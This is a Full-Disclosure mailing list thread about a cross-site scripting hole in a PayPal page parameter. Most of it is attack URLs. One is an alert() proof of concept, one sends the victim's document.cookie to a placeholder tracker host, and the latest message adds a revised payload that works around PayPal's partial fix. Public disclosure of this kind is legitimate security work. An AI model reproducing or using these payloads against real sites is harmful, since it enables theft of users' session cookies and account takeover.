Hmm, I got an email from Paypal, saying
"Thank you for bringing this incident of suspicious activity to our
attention. PayPal will investigate this activity immediately and contact
you further if any additional information is required.[...]"
I'm fairly certain they're referring to this exploit, which I CCed them
on my previous post.
Also, the POC I posted no longer works. It looks like Paypal is no
longer unescaping double quotation marks. Thus, the script fails to
append the cookie. At any rate, just changing the double quotes to
single quotes makes the POC work again:
https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-outside&voice=javascript:window.location='http://fooHost/tracker.php?'%2Bdocument.cookie
Matt Flaschen
Matthew Flaschen wrote:
> Good find. How about using it to steal the entire PayPal cookie, though:
>
> https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-outside&voice=javascript:window.location=%22http://fooHost/tracker.php?%22%2Bdocument.cookie;
>
>
> auto113922@xxxxxxx wrote:
>> https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-
>> outside&voice=javascript:document.write('heh');alert('bl00p');
>>
>>
>>
>> Concerned about your privacy? Instantly send FREE secure email, no account
>> required
>> http://www.hushmail.com/send?l=480
>>
>> Get the best prices on SSL certificates from Hushmail
>> https://www.hushssl.com?l=485
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
Attachment:
signature.asc
Description: OpenPGP digital signature
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/